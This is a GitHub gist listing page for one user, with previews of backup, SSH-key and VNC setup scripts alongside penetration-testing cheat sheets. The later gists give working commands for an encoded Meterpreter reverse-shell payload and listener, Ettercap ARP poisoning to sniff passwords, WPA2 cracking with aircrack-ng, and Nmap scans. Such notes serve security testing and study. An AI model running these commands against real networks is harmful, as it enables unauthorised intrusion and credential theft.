Skip to content

Instantly share code, notes, and snippets.

View YourFriendCaspian's full-sized avatar
🙃
I'm sure I'll be slow to respond so don't be mad.

yourfriendcaspian YourFriendCaspian

🙃
I'm sure I'll be slow to respond so don't be mad.
View GitHub Profile
@YourFriendCaspian
YourFriendCaspian / lussh
Created November 30, 2017 05:23 — forked from enoch85/lussh
lussh - script to authorize your SSH key on a server
#!/bin/bash
# make sure to run this with /bin/bash, NOT /bin/sh
echo
echo This script will help you setup ssh public key authentication.
host=dummy
#!/bin/sh
#
# This script is used on a QNAP TS-269 PRO. https://www.en0ch.se/qnap-and-rsync/
#
# You have to change:
# 1. $SHAREUSR
# 2. $EXCLUDES (if you want o change the name of the file servername.excludes)
# 3. $SOURCE & $DESTINATION
# 4. [email protected] for the mysqldump
# 5. --password=SUPERSECRET
@YourFriendCaspian
YourFriendCaspian / backup.cron_README
Created September 6, 2017 04:53
Full and Incremental Backup Script Instructions
## Automating backups with tar ##
It is always interesting to automate the tasks of a backup.
Automation offers enormous opportunities for using your Linux server to achieve the goals you set.
The following example below is our backup script, called backup.cron.
his script is designed to run on any computer by changing only the five variables:
COMPUTER
DIRECTORIES
BACKUPDIR
@YourFriendCaspian
YourFriendCaspian / backup.cron
Created September 6, 2017 04:48
Full and Incremental Backup Script
#!/bin/sh
# full and incremental backup script
# created 07 February 2000
# Based on a script by Daniel O'Callaghan <[email protected]>
# and modified by Gerhard Mourani <[email protected]>
# and modified by Shawn Anderson <[email protected]> on 2016-08-14
#Change the 5 variables below to fit your computer/backup
#Create the backup script <backup.cron> file,
@YourFriendCaspian
YourFriendCaspian / x11vnc_server_on_startup.txt
Created September 6, 2017 04:42
Configure your system to have x11vnc running at startup.
## Ubuntu 15.04 – Configure your system to have x11vnc running at startup. ##
Hello World,
If you are following us, you probably remember that we wrote already a post about this topic
(see Ubuntu 14.10 – Configure your sytem to have x11vnc running at startup).
Since Ubuntu 15.04 is using systemd, the instructions found in the previous post are not applicable anymore.
Some of our readers had issues after upgrading to Ubuntu 15.04.
The x11VNC is not running at startup anymore.
@YourFriendCaspian
YourFriendCaspian / psexec_executable-metasploit.txt
Created September 5, 2017 18:52
Metasploit: Custom Psexec Executable
## Metasploit: Custom Psexec Executable ##
#The first thing we need to do is generate a custom executable to use with Meterpreter.
$ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=4445 R | msfencode -t exe -e x86/shikata_ga_nai -c 5 > custom.exe
#Next we need to setup a multi handler to listen for connections.
$ msf > use exploit/multi/handler
$ msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
@YourFriendCaspian
YourFriendCaspian / ettercap_traffic_sniff.txt
Created September 5, 2017 18:45
Use Ettercap to Sniff Traffic
## Use Ettercap to Sniff Traffic ##
#Ettercap allows us to do arp poisoning and sniff plaintext passwords.
$ ettercap -M arp -T -q -i interface /spoof_ip/ /target_ips/ -w output_file.pcap
@YourFriendCaspian
YourFriendCaspian / aircrack-ng_with_john-crack_wpa2_psk.txt
Created September 5, 2017 18:40
Use JtR to generate candidate passwords for aircrack-ng
## Cracking WPA/WPA2 PSK ##
#Use JtR to generate candidate passwords for aircrack-ng
$ john --incremental:all --stdout | aircrack-ng --bssid 00-00-00-00-00-00 -a 2 -w - capture_file.cap
#Use Hashcat to generate candidate passwords for aircrack-ng
$ ./hashcat-cli32.bin wordlist -r rules/d3ad0ne.rule --stdout | aircrack-ng --bssid 00-00-00-00-00-00 -a 2 -w - capture_file.cap
@YourFriendCaspian
YourFriendCaspian / nmap_ip_list.txt
Created September 5, 2017 17:32
Create an IP List with Nmap
## Create an IP List with Nmap ##
#You'll find this particularly useful for tools or scripts that operate on new line delimited list of IP addresses.
#You can use this simple Nmap syntax to create a file with a list of appropriate IPs.
nmap -sL -n 192.168.1.1-100,102-254 | grep "report for" | cut -d " " -f 5 > ip_list_192.168.1.txt
@YourFriendCaspian
YourFriendCaspian / nmap_scanning.txt
Created September 5, 2017 17:29
Basic Scanning with Nmap
## Basic Scanning with Nmap ##
#Discovery Scans:
nmap -v -n -PE <target>
nmap -v -n -PE -PO -PM -PP <target>
nmap -v -n -PS21-23,25,53,80,443,3389 -PO -PE -PM -PP <target>
#Detailed TCP Scans: